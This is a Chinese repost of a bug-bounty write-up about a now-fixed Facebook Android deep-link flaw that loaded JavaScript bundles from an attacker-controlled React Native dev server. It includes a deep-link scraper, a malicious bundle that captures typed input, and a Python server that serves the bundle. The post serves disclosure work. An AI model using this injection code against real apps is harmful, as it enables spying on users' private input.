0

0

如何利用深度链接方式后门化Facebook APP

WBOY

WBOY

发布时间:2023-05-19 14:49:36

|

1773人浏览过

|

来源于亿速云

转载

近期,作者发现了facebook安卓app应用的一个深度链接漏洞,利用该漏洞,可以把用户手机上安装的facebook安卓app应用转变成后门程序(backdoor),实现后门化。此外,该漏洞也可以用来重新打包facebook应用程序,并将其发送给选定的目标受害者进行安装使用。下面就来看看作者对该漏洞的发现过程,以及如何通过payload构造,最终将其转化为facebook app实际生产环境中的安全隐患。

漏洞发现

通常做众测时,我会先认真了解目标系统的应用机制。在我的上一篇博客中,我已经分享了通过解析Facebook APP来发现FB4A参数应用中深度链接(deeplinks)的一些经验过程,而在此,我先分享我编写的一个脚本文件,用它可以自动实现对Facebook APP深度链接(deeplinks)的发现。该脚本文件为-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基于Python的代码程序,专用于从 Facebook APK中提取深度链接(deeplinks):

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi

下载源: https://github.com/ashleykinguk/FBLinkBuilder/

使用方法: .\FBLinkBuilder.py -i fb0409.apk

通过FBLinkBuilder.py的运行实现,我们可以对比不同APP版本之间出现的深度链接,以此来观察不同APP版本的应用服务变化,我正是利用该方法发现了Facebook APP 2020版本中存在的一个不安全的深度链接:fb://rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。

该深度链接的参数形式为hostname / ip,于是乎我就用自架的服务器192.168.0.2来做了个测试:fb://rnquantum_notification_handler/?address=192.168.0.2:8224,通过该链接,可以在Facebook APP中跳出以下弹窗:

如何利用深度链接方式后门化Facebook APP点击其中的"Enable Quantum"按钮后,会重新启动Facebook APP,之后,我尝试去发现其中的变化,但这一切貌似没啥异常。接下来,我把注意力放到了网络流量上,当时我想到了不久前Facebook专为安全研究者开放的白帽测试功能,安全研究者可以通过该功能暂时绕过Facebook的证书绑定(Certificate Pinning)等安全限制,去测试Facebook相关应用的网络流量。我利用白帽测试功能发现,进行上述操作后,Facebook应用程序会发出如下的外发链接请求:

http://192.168.0.2:8224/message?device=Android+SDK+built+for+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImplhttp://192.168.0.2:8224/status

这里的第一条请求机制为传递基于的移动端设备属性信息,并意图建立一个websocket连接;第二条请求为返回请求主机的状态信息packager-status:running,它是Facebook的react-native源码内置参数,可以参考Github: /com/facebook/react/devsupport/DevServerHelper.java。

而就当我想方设法在自架服务器192.168.0.2中构造响应消息时,我又发现了Facebook APP产生的另外一个请求:

http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

该请求目的为寻找打包文件中存储的FB4A参数,初步分析来看,该参数应该是明文而非通常的hbc*格式存储于Facebook APP中。我曾尝试输入hbc*格式的FB4A参数进行测试,但最终却会让Facebook APP发生崩溃。
其实,对于Facebook APP来说,在2019年之前,其打包文件( bundles)存储于/assets/目录下的一个形式化文件中,但2019年后,Facebook就引入了hbc格式 (*Hermes ByteCode) ,一方面为APK瘦身,一方面为防止核心代码显式化。虽然我尝试使用了hbc格式工具HBCdump,对Facebook APP生成了一个约250M的打包文件,但好像也没什么用。

劫持Facebook APP

之后,我想到了另外一种发现打包文件的方法:那就是通过查看老版本的Facebook APP,将明文包内容和移动端设备生成的错误消息进行对比,移动端设备生成的错误消息可通过logcat可见。一通对比下来,我发现以下线索:

__fbBatchedBridge  -包文件中必需的对象,其中包含了与APP应用同步的各种功能组成;

NexChatGPT
NexChatGPT

火爆全网的IDEA插件,支持IDEA全家桶

下载

__fbBatchedBridge.callFunctionReturnFlushedQueue  -APP后台调用的函数,每次调用都会执行相应的动作或事件。

基于上述发现,我的想法就是使Facebook APP可以成功下载并执行我构造的包文件,为了实现该目的,我需要自己编写包文件,然后把它托管在我的自架主机192.168.0.2中。以下是我构造的包文件FB4abundle.js:

/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};

另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()

综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频 
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
Golang 测试体系与代码质量保障:工程级可靠性建设
Golang 测试体系与代码质量保障:工程级可靠性建设

Go语言测试体系与代码质量保障聚焦于构建工程级可靠性系统。本专题深入解析Go的测试工具链(如go test)、单元测试、集成测试及端到端测试实践,结合代码覆盖率分析、静态代码扫描(如go vet)和动态分析工具,建立全链路质量监控机制。通过自动化测试框架、持续集成(CI)流水线配置及代码审查规范,实现测试用例管理、缺陷追踪与质量门禁控制,确保代码健壮性与可维护性,为高可靠性工程系统提供质量保障。

48

2026.02.28

Golang 工程化架构设计:可维护与可演进系统构建
Golang 工程化架构设计:可维护与可演进系统构建

Go语言工程化架构设计专注于构建高可维护性、可演进的企业级系统。本专题深入探讨Go项目的目录结构设计、模块划分、依赖管理等核心架构原则,涵盖微服务架构、领域驱动设计(DDD)在Go中的实践应用。通过实战案例解析接口抽象、错误处理、配置管理、日志监控等关键工程化技术,帮助开发者掌握构建稳定、可扩展Go应用的最佳实践方法。

44

2026.02.28

Golang 性能分析与运行时机制:构建高性能程序
Golang 性能分析与运行时机制:构建高性能程序

Go语言以其高效的并发模型和优异的性能表现广泛应用于高并发、高性能场景。其运行时机制包括 Goroutine 调度、内存管理、垃圾回收等方面,深入理解这些机制有助于编写更高效稳定的程序。本专题将系统讲解 Golang 的性能分析工具使用、常见性能瓶颈定位及优化策略,并结合实际案例剖析 Go 程序的运行时行为,帮助开发者掌握构建高性能应用的关键技能。

37

2026.02.28

Golang 并发编程模型与工程实践:从语言特性到系统性能
Golang 并发编程模型与工程实践:从语言特性到系统性能

本专题系统讲解 Golang 并发编程模型,从语言级特性出发,深入理解 goroutine、channel 与调度机制。结合工程实践,分析并发设计模式、性能瓶颈与资源控制策略,帮助将并发能力有效转化为稳定、可扩展的系统性能优势。

22

2026.02.27

Golang 高级特性与最佳实践:提升代码艺术
Golang 高级特性与最佳实践:提升代码艺术

本专题深入剖析 Golang 的高级特性与工程级最佳实践,涵盖并发模型、内存管理、接口设计与错误处理策略。通过真实场景与代码对比,引导从“可运行”走向“高质量”,帮助构建高性能、可扩展、易维护的优雅 Go 代码体系。

19

2026.02.27

Golang 测试与调试专题:确保代码可靠性
Golang 测试与调试专题:确保代码可靠性

本专题聚焦 Golang 的测试与调试体系,系统讲解单元测试、表驱动测试、基准测试与覆盖率分析方法,并深入剖析调试工具与常见问题定位思路。通过实践示例,引导建立可验证、可回归的工程习惯,从而持续提升代码可靠性与可维护性。

3

2026.02.27

漫蛙app官网链接入口
漫蛙app官网链接入口

漫蛙App官网提供多条稳定入口,包括 https://manwa.me、https

268

2026.02.27

deepseek在线提问
deepseek在线提问

本合集汇总了DeepSeek在线提问技巧与免登录使用入口,助你快速上手AI对话、写作、分析等功能。阅读专题下面的文章了解更多详细内容。

51

2026.02.27

AO3官网直接进入
AO3官网直接进入

AO3官网最新入口合集,汇总2026年可用官方及镜像链接,助你快速稳定访问Archive of Our Own平台。阅读专题下面的文章了解更多详细内容。

430

2026.02.27

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Java 教程
Java 教程

共578课时 | 75.6万人学习

国外Web开发全栈课程全集
国外Web开发全栈课程全集

共12课时 | 1万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号